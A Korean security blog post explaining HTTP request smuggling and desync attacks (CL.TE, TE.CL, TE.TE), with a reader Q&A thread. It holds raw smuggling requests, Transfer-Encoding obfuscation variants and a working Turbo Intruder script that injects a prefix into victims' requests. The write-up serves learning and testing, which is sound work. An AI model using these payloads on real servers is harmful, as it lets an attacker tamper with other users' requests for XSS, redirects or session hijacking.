8/13/2019

HTTP Desync Attack 에 대해 알아보자(HTTP Smuggling attack re-born, +My case)

Today’s content is Korean content for HTTP Desync Attacks. Based on the link below to this article. and can get more accurate information by referring to the this document.

최근에 Portswigger의 James(@albinowax)가 “HTTP Desync Attacks: Request Smuggling Reborn” 이라는 글을 게시하고 트윗이나 여러 매체에서 굉장히 핫했었는데요, 오늘은 그냥 제가 이해한 내용을 토대로 간략하게 정리해보려고 합니다. (틀린 부분 있다면 댓글 남겨주세요)

https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn

smuggling attack re-born! (@Hela..)

TL;DR

  • 프론트 서버와 백엔드서버의 처리 방식 차이를 이용한 Smuggling 공격
    • 프론트: LB, 리버스프록시 같은 앞단 서버
    • 백엔드: 실제 어플리케이션 서버(뒷단 서버)
  • 케이스별 테스트 방법
    • CL.TE: 0\r\n을 통해서 백엔드 서버에 특정 문자를 대기시킴
    • TE.CL: content-length를 통해 서버에 특정 문자를 대기시킴
    • TE.TE: 한쪽 서버만 transfer-encoding을 처리하지 않도록, 나머진 위와 동일
      => 백엔드 서버에 프론트와 다른 값을 줘야함
    • 아래쪽에 Mycase 부분 보는게 더 나을수도 있습니다..
  • 결론: 알아둬야하고 체크해야하는 취약점이나 불특정 다수에게 영향 줄 수 있어서 조심해야함, 사실 원글이 훨씬 좋으니 원글 읽어주세요..ㅎㅎ
  • 결론2: 대응방안 빡세요.

HTTP Desync Attacks?

이름 그대로 Desync된 상태를 이용한 공격을 의미합니다. 좀 포괄적인 내용인데, HTTP/1.1 이후부터 TCP, SSL/TLS 소켓 하나로 여러개의 HTTP 요청을 전달할 수 있도록 변경됬습니다. Transfer-Encoding: chunked 헤더나 Content-Length 길이 값에 따라 서버가 처리하게 되며 스트리밍 서비스쪽에서 정말 많이 사용되는 방식입니다. (궁금하시면 영상이나 음원 재생 서비스 들어가서 패킷을 잡아보면.. 보입니다. HTTP 요청을 나눠서 받는것을..)

아무튼 의미 자체로는 이런 환경을 이용한 공격을 전반적으로 의미하는 것 같습니다.
자잘한 설명은 원글 참조하시는게 좋고, 공격 이해에 앞서서 2가지만 더 보고 갑시다.

Transfer-Encoding: chunked

hbh(hop-by-hop) 헤더로 데이터를 전송하기 위한 인코딩 형식을 지정하는 헤더입니다. end-to-end 헤더인 Content-Encoding과 유사하게 사용됩니다.

Transfer-Encoding: chunked
Transfer-Encoding: compress
Transfer-Encoding: deflate
Transfer-Encoding: gzip
Transfer-Encoding: identity

여러가지 인코딩 포맷을 지원하는데요, 우리가 이번에 보고 가야할 인코딩 방식은 chunked 입니다.
복잡한건 아니고, chunked 가 있는 경우 기존 Content-Length 헤더는 생략되고 chunk 앞부분에 현재 데이터의 길이(16진수), CRLF 이후 데이터가 오고 마지막에 다시 CRLF가 옵니다. 이를 통해서 큰 데이터를 나눠서 웹 서버에게 전송하고 받을 수 있게 됩니다.

예를들면... 이런식이죠.


HTTP/1.1 200 OK 
Content-Type: text/plain 
Transfer-Encoding: chunked

6\r\n
HAHWUL\r\n 
4\r\n
Test\r\n
6\r\n
isTest\r\n
0\r\n 
\r\n


각 데이터가 전송될 크기의 16진수 값, 실제 값 형태로 전달하며 데이터 전송의 스트림이 마무리될 때 0\r\n 으로 종료를 인지합니다. 다만 조금 애매한게 하나 있는데, 보통 대다수 TE 헤더가 Response에 적용된 사례가 많다는겁니다. 그래서 저는 Request에 있는 경우에도 Response와 동일하게 동작한다는 가정하에 이해하고 테스트한거긴한데, 이게 실제론 아닐수도 있다는 점 유의 부탁드립니ㅏㄷ...
(자료가 없어요 아무리 찾아봐도)

Request Smuggling?

옜날에 나온 기법이긴하나, 요즘 PortSwigger에서 굉장히 관심있고 좋아하는 공격 방법인 것 같습니다. 어떻게 보면 웹 캐시 포이즈닝이랑 비슷할 수 있는데, 여러 사용자로 부터 받은 HTTP 요청을 웹 서버가 처리하는 과정에서 다른 사용자의 요청에 간섭하는 방법입니다.
이 그림이 가장 정확해 보입니다. (따로 그리기도 뭐한…)

https://portswigger.net/web-security/images/http-request-smuggling.svg
직접 그리고 싶었으나, 이 그림 이상으로 절대 잘 설명할 수가 없음.
awesome..

왜 가능한가 하면 보통 프로덕션 서버들, 즉 운영중인 실 서비스들은 웹 서버가 표면에 직접적으로 노출되는 경우가 적은편입니다. LB나 리버스프록시 등 앞단에 요청을 받아서 전달하거나 분배해주는 서버가 있기 마련인데, 이 앞단 서버에서 뒷단 서버로 전달하는 과정 중 chunked, Content-Encoding 등을 만나면 지정된 크기만큼 처리하고 남은 패킷을 처리하지 않고 남겨두고 있는데, 이 패킷 데이터가 다른 사용자의 요청에서 처리되어 영향을 끼치게 됩니다. 결국 계산된 크기만큼 처리하고 GET /test 같은 형태로 시작하는 값을 넣어주게 되면 그 다음 소켓 사용자의 웹 요청 시작 부분이 GET /test로 시작하게 되어서 다른 사용자의 액션을 변경할 수 있어집니다.

공격 시나리오?

결국 사용자 요청을 제어할 수 있기 때문에 XSS, Open redirect 등의 공격은 당연히 가능하며 중요 데이터를 공격자 서버로 이동시킨다는 등 여러가지 액션이 가능합니다. 딱 HTTP 응답에 대한 Injection입니다. 글 작성자가 여러 케이스를 정리해뒀는데 직접 가서 읽어보심이 좋습니다.

분석 방법

가장 중요한 부분인데요.. 우선은 노가다성이 짙기 때문에 Burp Extension(https://github.com/portswigger/http-request-smuggler)을 쓰시는게 좋을 것 같습니다.
테스트 방법은 우선 Content-Length, Trasfer-Encoding 헤더를 이용해서 앞단 서버와 뒷단 서버가 각각 어떤 길이를 인지하는지 체크합니다.

앞자리만 따서 3가지 케이스 정도가 나옵니다.

CL.TE :: 프론트(Content-Length), 백엔드(Transfer-Encoding)

프론트 엔드는 Content-Type을 보고 13만큼의 크기로 인지하고 SMUGGLED를 포함한 post body를 모두 보내고 백엔드는 chunked를 보기 때문에 0\r\n 을 보고 각각 개별 요청으로 분리해서 판단하게 됩니다. 그럼 SMUGGLED 윗 부분까지만 요청으로 처리하고 백엔드 캐시에 SMUGGLED부터 남아서 다음 요청에서 이어붙여지게 됩니다.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0
SMUGGLED


TE.CL :: 프론트(Transfer-Encoding), 백엔드(Content-Length)

CL.TE랑 반대로된 케이스입니다. 프론트는 0\r\n 기준으로 분리해서 보기 때문에 전체 post body를 백엔드로 보내고,  백엔드는 Content-Type의 크기를 참고하기 때문에 3개 문자, 즉 8과 개행문자(\r\n) 까지만 처리하고 백엔드에 대기되게 됩니다. 그래서 다음 요청은 SMUGGLED로 시작하게 됩니다.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

위 요청대로면 chunked로 인해 프론트는 모두 보내게 되고, 백엔드는 Content-Length를 보고 8(+개행)까지만 처리하게 됩니다. 그로인해 다음 요청은 SMUGGLED로 시작하게 됩니다.

TE.TE :: 프론트(Transfer-Encoding), 백엔드(Transfer-Encoding)

사실상 위 CL.TE, TE.CL의 대응방안일 수 있으나 개행문자등을 이용해서 우회할 수 있는 여지가 있습니다.
Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

이 방법을 이용해서 작성자는 paypal 로그인 부분을…
(하필 제가 피토하면서 봤던 부분이라 마음이 짠하네요 ㅜㅜ)

어떻게 우회되는가 하면, 저런 문자 처리를 이용해서 프론트, 백엔드 중 하나는 Transfer-Encoding을 처리하지 않게 유도하는겁니다.

자 그럼 실제로 취약한지는 어떻게 판단해야할까요..
우리가 노려야할 부분은 위에 요청 이후 다음 요청입니다. 다음 요청에서 SMUGGLED로 시작하는 웹 요청이 처리됬는지, 즉 임의의 웹 요청이 처리되는지 알아야하는데 위에처럼 단순한 문자열로는 에러 기반으로 감지해야하고 아닌 경우엔 테스트 서버 페이지로 요청을 하나 날리게 한다던가, 뭔가 식별할 수 있는 요청을 던져야 합니다(404, response 조작 등). 그리고 아주 빠르게 다음 요청을 선점해서 공격 여부를 식별해야하는 것 같구요..

막 테스트해도 될까?

자.. 대충 내용은 정리했는데, 이게 참 웹 캐시 포이즈닝과 비슷하게 테스트 자체가 불특정 다수에게 피해를 줄 수 있습니다.. 왜냐하면 chunked로 인해서 서버가 대기하는 상태에서 다른 사용자의 요청이 변조되는거라 테스팅하는 사람도 즉각적인 인지가 어렵고, 테스터의 환경에서만 재현되는게 아니라 캐시 포이즈닝처럼 순간 그 요청 순서에 물린 사용자에게 트리거되기 때문에 실서비스 대상으론 조심스러울 것 같단 생각이 듭니다.
(그러다보니, PoC 영상에서도 굉장히 여러번 툴을 이용해서 반복요청을 합니다)

=> 사실 저땐 테스트가 좀 어려울까 싶었는데, 실제로 되는 조건에서 해보니 간단하게 테스트하는 것 정도는 괜찮을 것 같단 느낌입니다. 다만, 사용자 트래픽이 많은 구간에선 조심해야할 것 같구요.

My Case

위에 CL:TE, TE:CL 케이스를 봐도 눈에 잘 안들어올 수 있는데요.. 제 케이스를 내용만 임의 데이터로 수정해서 대략적인 형태만 보여드릴까 합니다. (TE:TE 우회로 인한 TE:CL이에요)

취약점 식별?


POST /whereisthispage HTTP/1.1
Host: **********
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/plain, */*; q=0.01
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-length: 12
Transfer-Encoding : chunked

4
test
0

Content-Length(0까지 길이 12)와 Transfer-Encoding(0\r\n의 위치)의 크기가 일치할 때
=> 정상 처리


POST /whereisthispage HTTP/1.1
Host: **********
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/plain, */*; q=0.01
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-length: 13
Transfer-Encoding : chunked

4
test
0

X
Content-Length(X까지 13)와 Transfer-Encoding(0\r\n 까지 12)의 크기가 일치하지 않을 때
=> 멈춤(백엔드에서 기다림)
+ 프론트에선 0\r\n까지 보고 0까지 데이터를 넘겨줬지만 백엔드에선 13의 크기로 보기 때문에 12의 크기가 와서 멈춘 상태(X가 없어서)

결국 이 상황을 보면 프론트는 TE(Transfer-Encoding), 백엔드는 CL(Content-Length)를 신뢰한단걸 알 수 있습니다.

공격코드


POST /whereisthispage HTTP/1.1
Host: **********
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/plain, */*; q=0.01
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-length: 13
Transfer-Encoding : chunked

4
test
e3
GET /otherurl HTTP/1.1
Host: targethost?
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

결국 13크기(e3\r\n까지) 만큼 CL을 지정하고 전송하게 되면 프론트는 TE를 보기 때문에 요청 전문을 넘겨주고, 백엔드는 CL을 봐서 GET /otherurl 이전 부분까지만 처리하고 나머지는 백엔드에 남아 다음 요청을 대기하게 됩니다.

그럼 다른사용자 또는 테스터의 요청이 해당 백엔드 서버로 넘어갈 때 의도한 요청(POST ~~~)가 아닌 GET /otherurl을 타게되어 여러가지 문제(Redirect, xss, sessions hijack.. etc..)를 발생시킬 여지를 만들게 됩니다.

저는 302 요청하는 페이지로 식별했네요.


Script(Turbo Intruder, python, edit sleep time / number of requests)

import re

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0
                           )
    engine.start()

    # This will prefix the victim's request. Edit it to achieve the desired effect.
    prefix = '''GET /otherurl HTTP/1.1
Host: targetorother
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1'''

    chunk_size = hex(len(prefix)).lstrip("0x")
    attack = target.req.replace('0\r\n\r\n', chunk_size+'\r\n'+prefix+'\r\n0\r\n\r\n')
    content_length = re.search('Content-Length: ([\d]+)', attack).group(1)
    attack = attack.replace('Content-Length: '+content_length, 'Content-length: '+str(int(content_length)+len(chunk_size)-3))
    engine.queue(attack)

    for i in range(30):
        engine.queue(target.req)
        time.sleep(0.02)


def handleResponse(req, interesting):
    table.add(req)


Conclusion

솔직히 아직도 정확하게 머릿속으로 정리된게 아닙니다.. 아마 이 글도 여러번 수정을 하게될 것 같은데, 혹시 보시고 잘못된 부분이나 추가됬으면 하는 부분들은 댓글 남겨주세요.

어느정도 정리가 되긴했는데, 결국 중요한건
서버간 Content-Length와 Transfer-Encoding 헤더를 다르게 신뢰하는지,
실제 공격 땐 각 길이값을 잘 계산해야한다는 점,
트래픽 큰 페이지는 조심해서 테스트해야한다는 점
마지막으로 대응방안이 답도 없다는 점... 입니다.

대응은 아마 서비스 특성이나 인프라 환경 고려해서 조치하시는게 좋을듯 합니다. 페이팔의 경우 스트리밍 계열 서비스가 없다보니 Transfer-Encoding 자체를 비신뢰(들어오면 reject)하는 걸로 처리했다고 하네요. 참고참고

알비노가 제시한 대응방안과 제 의견...

- 서버간 통신 시 HTTP2 사용
 + 엄청난 대규모 작업이 예상됨
- 프론트, 백엔드 간 동일한 헤더를 신뢰하도록 맞추기
 + 엄청난 대규모 작업이 예상됨
- 직접 검증
 + 엄청난 성능 저하가 있을수도 있음(서비스 규모에 따라)

지니가 필요할땐가..

Reference

https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn
https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/Transfer-Encoding
https://portswigger.net/web-security/request-smuggling


HAHWUL

Security engineer, Gopher and H4cker!

Share: | Coffee Me:

18 comments:

  1. This comment has been removed by the author.

    ReplyDelete
  2. 테스팅 편의성은 https://github.com/portswigger/http-request-smuggler 가 압도적으로 좋으니 해당 확장 기능으로 테스트하시는게 좋을듯합니다.
    별도로 스캐너 만드는것도, 크게 어려운건 아니니 만들어두고 두고두고 사용하는것도 좋아보여요 (:

    ReplyDelete
  3. 궁금한게 있는데요.

    그럼 proxy - server 가 아니고 바로 server 하나만 있는 환경이면

    굳이 두개의 cl, te 안넣고 하나만 가지고
    다른 피해자의 request 헤더를 조작할 수 있는건가요?

    ReplyDelete
  4. 그리고 마찬가지 경우로, 프론트 - 백엔드가 모두 TE 일 경우에 HTTP smuggling이 막힐 수 있다고 하셨는데 이때도 그냥 TE가 0\r\n을 끝으로 인식하니까

    front

    0\r\n

    backend
    0\r\n

    X

    이런식으로 보낸다고 하면
    front는 "front"까지만 읽고
    backend는 "backend" 까지 읽고

    X가 남겨져서 다른 요청에 덧붙여지는 상황이 될 수 있는거 아닌가요??

    제가 이해가 안가네요 ㅠㅠ

    ReplyDelete
    Replies
    1. 아뇨. 불가능합니다. 우선 Desync Attack과 Smuggling 둘다 서버 to 서버, WAS to WAS 등 다중으로 구성된 환경에서 영향을 끼칩니다. 이야기주신 "다른 피해자의 request 헤더를 조작할 수 있는건가요?" 부분은 Desync Attack이기 때문에 더더욱 LB->Server 같은 환경이 필요한거구요.

      HTTP Request Smuggling, Desync Attack 두개가 비슷한듯 하지만 완전하게 다른 취약점입니다.

      HTTP Request Smuggling: 서버간 CL,TE 헤더의 차이로 비정상적인 요청을 후속 요청에 남길 수 있음
      Desync Attack: LB=>Server와 같이 여러대의 서버를 처리하는 앞단 서버가 Smuggling 등으로 요청을 물고있는 경우에 다른 사용자가 요청한 Request에 이전 사용자의 잔여 요청이 붙음

      결국, 다른 사용자에게 영향을 주기 위해선 Desync Attack(+Smuggling) 이 필요하고, 이를 위해선 위에 이야기드린 각 취약점 별 조건(CL/TE 차이 + LB=>Server와 같은 로드밸런싱 환경)이란 조건이 만족해야합니다 :)

      Delete
    2. 답변 감사합니다.
      그런데 아직 이해가 안가서 다시 한번 질문해도 되려나요??ㅠ

      예를 들어서 제가 말한 단일 서버일 경우에요.
      실제 보낸 request body 길이는 10인데 Content Length는 5로 설정하면
      5가 남게되잖아요?
      그럼 그 5가 후속 request에 붙어서 보내지는거 아닌가요??

      제가 원리를 잘못이해하고있는건지.. ㅠㅠ

      Delete
    3. 웹의 프로토콜인 HTTP가 close connection이여서 그렇습니다. 이야기주신대로 10을 받고 5를 쓰면 5가 남겨지는데, socket connection이 끊어져서 자연스럽게 버려집니다. (connection: close 경우이죠)

      그래서 HTTP/1.1 부터 connection: keep-alive, transfer-encoding 등의 소켓 연결을 유지시킬 수 있는 헤더가 추가된거고, 이를 이용해서 http smuggling , desync attack까지 사용된겁니다.

      그럼 여기서 transfer-encoding은 보통 지원하는 시스템에선 우선순위가 높기 때문에 content-length가 같이 왔다고해도 무시되게 됩니다. 그래서 서버간 홉에서 이 헤더들을 신뢰하는 방식의 차이로 소켓이 유지된 상태로 request를 잘라내는거구요.

      제가 이해하기론 이런데, 혹시나 의아한부분이 있거나 잘못된 부분이 있다면 이야기주세요 :D

      Delete
  5. 좋은 글 잘 봤습니다! CTF 하다가 request smuggling 문제 나와서 이 글 보고 풀었네요 ㅎㅎㅎ 감사합니다

    ReplyDelete
    Replies
    1. 오.. CTF에도 request smuggling 문제가 나오는군요. 도움되셨다니 좋습니다 :D

      Delete
  6. te, te로 햇을때 대응방안이 될 수 있다는게 같은 헤더를 읽어서 프론트랑 백엔드가 desync 될 수 없다는건지요?? 그러면 개행문자 등으로 우회한다는건 무슨 말인지요?? 어차피 둘다 같은걸 읽으니까 개행문자 넣으면 둘 다 못읽는거 아닌지요??

    ReplyDelete
    Replies
    1. 넵 대응의 요점은 hops에서 컨텐츠의 길이가 잘리지 않도록 동일한 헤더를 신뢰하도록 맞추는 방법이에요. 이야기주신대로 동일한 해더를 신뢰한다면 request가 잘리지 않기 때문에 대응이 가능한게 맞습니다. (그래서 페이팔의 경우 마지막엔 프론트 뒤의 백엔드들이 모두 CL만 신뢰하도록 바꾼거구요)

      우회 방법에 대해 가볍게 이야기드리면, hops에 존재하느 서버, 어플리케이션들은 모두 다른 어플리케이션과 다른 언어로 구성되어 있을거에요. 예를들어..

      user => LB => nginx => app(rails) => internal api(java)
      => api(go net/http)

      이런식으로 구성된 환경이 다 다를텐데, 모두 te를 신뢰하도록 바꿨따고 해도 모든 예외 케이스에 대해 동일하게 동작할수는 없습니다. 각 웹서버, 어플리케이션 마다 예외에 대한 방식은 분명 다르니깐요. 개행문자를 예를들면(실제론 이 동작이 아니에요. 그냥 예시입니닷)

      Transfer-Encoding:
      chunkd

      위와 같은 헤더가 왔을 때

      nginx: te: chunk
      rails: 잘못된 헤더로 판단하여 cl 신뢰

      이런 구조가 될 수 있어요. 그럼 자연스럽게 nginx => rails 간에는 TE/CL로 동작하게 되고, 해당 구간에서 Desync나 Smuggling의 여지가 생기는겁니다.

      Delete
    2. 친절한 설명 감사합니다.

      너무 어렵네요 ㅎㅎ;;
      어플리케이션이란건 아파치로 따지면 php 엔진같은걸 말씀하시는건가요?

      음 한가지 이해 안가는건.
      개행문자를 넣는 위치는 HTTP 헤더잖아요.

      [space]Transfer-Encoding: chunked

      이렇게 length 부분에 넣는다고 하셨는데.


      그런데 HTTP 헤더를 파싱하는건 웹 서버만의 역할 아닌가요??
      아파치로 따지면 아파치가 HTTP를 해석하고 PHP 엔진은 PHP 파일을 실행만 하듯이..

      PHP엔진은 말씀하신 '어플리케이션'과 좀 다른것 같긴한데
      말씀하신 어플리케이션이 뭔질 몰라서 그냥 추측성으로 말하는 겁니다...

      Delete
    3. 넵 만약에 php가 개별적으로 헤더를 판단하는 과정이 있다면 동일할수도 있죠.. (물론 아니지만)

      그냥 단순히 application 간 헤더를 인식하는 차이로 인해 발생하는 문제라고 생각하시면 될듯합니다.
      (여기서 application은 nginx, apache, rails, php, django, echo 등등 모든 프로그램)

      Delete
    4. 아 참고로 nginx , apache 같은 웹 서버만 헤더를 파싱하는건 아니에요. 각각 앱들도 chunkd 같은 스트림 처리가 필요하기 때문에 대다수가 기본적으로 내장하고 있습니다 :D

      (예를들면.. rails의 경우 puma, webrick 등 기본적으로 구동시킬 수 있는 서버 종류도 여러가지에요. 그럼 같은 rails 앱이라도 구동시키는 서버마다 파싱하는 로직이나 스펙이 다를 수 있겠죠)

      Delete
  7. 그리고 또.. 서버가 length를 읽는게요.
    만약 transfer-encoding이든 content-length이든 request에 하나만 있으면 백엔드, 프론트 모두 request에 있는 length값으로 길이를 판단하는데, 임의로 length 헤더를 두 개 삽입했을 때 각 서버의 설정되있는 하나의 방식으로 길이를 판단하는건가요??

    ReplyDelete
    Replies
    1. 넵 맞아요~ 서버마다 TE랑 Cl이 동시에 왔을 때 처리하는 방법과 우선순위가 다르고 이 차이를 이용한 공격이 request smuggling이니깐요.
      다만 content-length가 중복으로 있는건, 아주 오래전에 나왔던 이슈이자 취약점이여서 현재는 거의 의미가 없는 상태이고 이때의 아이디어를 이용해서 알비노왁스가 te를 통해 smuggling하는 방법을 찾아낸거구요 :D

      Delete